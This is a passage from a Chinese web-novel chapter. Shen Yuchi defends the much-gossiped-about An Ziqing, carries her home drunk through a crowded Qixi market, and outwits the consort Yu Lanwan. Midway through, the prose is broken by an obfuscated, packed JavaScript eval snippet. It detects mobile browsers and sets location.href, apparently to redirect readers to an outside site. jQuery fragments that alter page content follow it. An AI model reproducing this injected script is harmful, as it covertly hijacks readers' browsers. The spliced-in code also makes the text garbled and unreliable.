不过沈瑜迟很快又否定了这个猜测。
安紫清并没有怎么在外头露过面,她从前的性子应当也是不善交际的,只不过可能是这回被逼得狠了,她也要使出手段自保。
她除了安家那些人,还有孟嘉,看样子也不会跟谁认识。
而且他实在是想不出会有谁一直盯着她,不计成本不计后果地造谣她,抹黑她——这种话传出去根本没人信,他自己想想都不一定信。
图什么呢?只是图把一个无辜之人踩进泥里永世不得翻身的快感吗?呃……那凭安紫清的体质,还不如直接把安紫清一刀砍了呢,快感还更强烈,而且省得夜长梦多。
可是……排除了所有的不可能,剩下的无论多荒谬,都是真相。
当时她是绝对不可能有钱,有人脉去做那些事情的。
一个人醉酒时的模样,尤其是安紫清这种病弱的女子,是作不得假的——现在天下确实普遍都认为安家与安紫清关系不和,但他们也还普遍认为这是最近才发生的事儿。
他们还编出层出不穷的故事,诸如什么安紫清就是因为钱财跟家里闹翻的,双方都不是什么好东西……
他低头一看,见安紫清已经睡着了。
因为钱财……
他看向这个每次都想方设法坑他钱,每次和他一起逛集市都是让他付钱的少女,陷入了沉思。
他低下头,满目繁华,人头攒动。
众人将顾湛远与苏拾桃簇拥在一处。
“看看顾大人与苏大人,这才是天生的一对!”
“是啊,也不知淮宁王看上那安姑娘什么了,单纯只是容貌吗?可要我说啊,那些个才貌双全,德艺双馨的女子们,哪个不比安姑娘看着顺眼……”
“真的是……我都想替他把安姑娘赶跑……”
后来也不知谁挑起了话头,上升到更高的层面——
“安姑娘这种女子,待在淮宁王身旁,肯定要起追名逐利之心的……有朝一日她若是当上淮宁王妃,再借着陛下的权利打压咱们,咱们还有好日子过吗?”
“唉,想淮宁王混迹花丛,竟然栽在了这么一个病秧子美人身上……至于痴傻还是不必说了,我瞧着这狐狸精比谁都机灵!”
“其实那安姑娘也未必病恹恹的,像她这种蛇蝎心肠的女子,口中有真话吗,展露在外的一面有真的吗……”
这最后一句话倒是触到了沈瑜迟的心坎里。
可是,方才,以及现在的安紫清,展露在外的,一定是真的。
她的病弱也是真的。
痴傻……那还不是世人给她套上的标签?
莫非只有世人可以随意侮-辱、践踏她,她想要反击一下,便是错?
——虽然,他也知道,安紫清从来不想反击。
倒也不是不屑与他们为伍,不屑降了自己的智,只是早已没了这份心。
他想到沈落薇迁宫的事情。
十有八-九,该是紫清的手笔吧……
这应当是玉兰菀人生中第一次失手。
或许也算不上失手,或许是失手了但没完全失手——毕竟她也没对沈落薇有几分真心实意。
他知道皇兄生性多疑,因此只是有了一次小小的失误,他便直接把安紫清都带进了宫中。
皇兄是什么人?是无风都要掀起三尺巨浪的人。
这次也不知玉兰菀是否能平安挺过了。
他都没想过要做的事情,竟然被安紫清抢先一步实行了——虽然紫清应当只是害怕玉兰菀对沈落薇不好。
紫清其实对于身边对她好的人,特别能付出真情实感。
她也没有多崇高的境界,只是举手投足与心境间,便比那些嚼舌根的人高出不知多少个层次。
他看着那些依然在滔滔不绝讨论安紫清的人,不知不觉,竟生出了一股“众人皆醉我独醒”之感。
紫清当然不痴傻。
她如果想,这些流言,根本就不会传到今日。
只是她真的,真的,觉得你们有些可怜吧……还因为她自己是个处事体面的人。归根结底是她太善良。
看着靠在自己肩上的少女睡得深沉,他有些哑然。
他也会一些武功,把安紫清带下去自然是轻而易举。
……
安紫清睁开眼睛,入目便是自己在如春居内的垂幔纱帐。
除了这次她知道她在书中世界,她甚至比刚穿过来醒来那次反应还要迟钝。
她知道她在如春居,她也知道她是穿越过来的。
除了这些……
她脑子短暂地空白了一瞬,突然想起昨天晚上……她好像去买了酒,还跳到一处集市的屋檐上坐着。
她此刻感觉身上还有些疲软,莫非……她昨夜醉酒了?
当时在她身边的只有沈瑜迟……
她倒也不怀疑沈瑜迟做了什么,她觉得她和他之间的互信程度还不至于这么低。
而且她和他接触多了,其实也能发现,他其实对感情什么的挺愚钝的,不像情场高手。
也只有跟他没怎么接触,只是听闻过他的名声的人,才会相信外头那些香-艳的传言吧。
就是……她应该没说什么乱七八糟的东西吧?
虽然安紫清在影视剧和小说里看过很多仙气飘飘的角色醉酒,但是考虑到原主的体质,她也不敢对当时自己的模样作何恭维。
不直接从屋檐上掉下去就谢天谢地了——不过应该确实没有。
希望她没说什么不该说的,希望沈瑜迟什么也没听到。
……
此时,沈瑜迟自然为安紫清感到极度高兴。
他不懂她的有些话是什么意思,但他觉得安紫清就算醉成昨天那样都不乱说话,不乱发泄情绪,只追寻她心中的真,只做她认为对的事情……他对她的敬慕,又多了一分。
他想去炽銮殿跟沈巍真说些什么,路上碰到了玉兰菀。
他转头,眸色一如往常,微微翘起唇角:“是泠贵妃啊。”
玉兰菀本想说些什么,可看着这只笑面虎,她也只能在衣袖中偷偷攥紧拳头。
“泠贵妃要同本王一同去见见皇兄吗?”他话尾轻扬,一字一句都扎在玉兰菀的心上。
玉兰菀不敢去,此刻她只觉距离产生美,还是等着沈巍真来找她比较好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504740|181907||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“泠贵妃不去啊……那本王可是要去的。”沈巍真一耸肩,“本王走啦,今儿天气不错,祝泠贵妃每日都能看到这样的大好天光……你看这天,多亮呀。”
他眼中含笑,步履轻快地走向炽銮殿。
独留玉兰菀一人在原地,她鲜艳的红唇仿佛要吃了谁。
她却谁也吃不掉。
她不敢跟沈瑜迟硬刚,于是便在后头骂安紫清。
沈瑜迟转过头,朝她一弯眼角。
仿佛在说“你说什么,我没有听懂”。
玉兰菀只感觉背脊一凉。
沈瑜迟一到炽銮殿,先赞颂了沈巍真的作为,顺便跟沈巍真添油加醋却恰到好处地说了几句玉兰菀的事情,沈巍真眉心一凝,道:“孤晚些便下旨让她禁足于华池宫一周。”
……
安紫清听梅樱说了昨天夜里的事情,简直要晕过去。
听说当时是沈瑜迟背着她回来的。
街上自然是围满了人,大家都要围观传闻中的这位安姑娘。
结果安紫清当时从沈瑜迟背上跳下来,一定要向路过的每一个人打招呼,和他们聊天。偶然有一些人对她发表刺耳的言论,她似乎也不在意,也跟别人有一搭没一搭地扯闲。
这样的情形,人肯定是越来越多的。
七夕夜里,众人都围在集市上,与天下第一美人畅聊,那场面简直不敢想象。
那里几乎是堵得水泄不通,天边明灯如昼,人间熙熙攘攘。
很多做生意的小摊贩都抱怨今天可真是倒霉,这些人要把摊子都挤坏了。
他们并不在乎什么天下第一美人和淮宁王缠绵悱恻的爱情故事,也不在乎一个素昧平生女子的人生经历,他们只不过是趁着七夕热闹出来摆摊,想要多卖出一点东西养家糊口。
沈瑜迟瞧着安紫清如今跟谁都聊的画面,心里想像她这么善良的女子,待会儿醒过来之后知道了自己一不小心妨碍到了别人,肯定会内疚的。
因为他就是这样。
正好,安紫清突然在他耳边轻轻呢喃了几句什么。安紫清显然已经醉得不行了,脚步都很飘忽,沈瑜迟立马扯住她——他其实也没听清安紫清说了什么。
不过,现在她说了什么也不重要。
喝醉的人说的话能当真吗。
沈瑜迟连忙把安紫清重新背起来:“紫清方才和我说,大家还是都散了吧,在这儿聊天会让人家生意难做的,也让人家马车什么的都开不过去。她喝多了才不懂事,你们怎的也不制止她?我们现在要走了,大家有缘日后再见。”
说完,沈瑜迟就飞也一样地背上安紫清跑了。
一青一紫两道身影重叠而行,梅樱一开始都以为自己花了眼。
她追不上,根本追不上。
……
看到梅樱还面露喜色:“小姐,那些人都说您很好……”
安紫清想也能想到,肯定是大家觉得她体贴他人之类的……救命啊,和大家聊天妨碍交通本来就不是她的本意……大家千万别这样想啊,她自己也只是芸芸众生中的寻常一员……
她已经开始感受到社死了。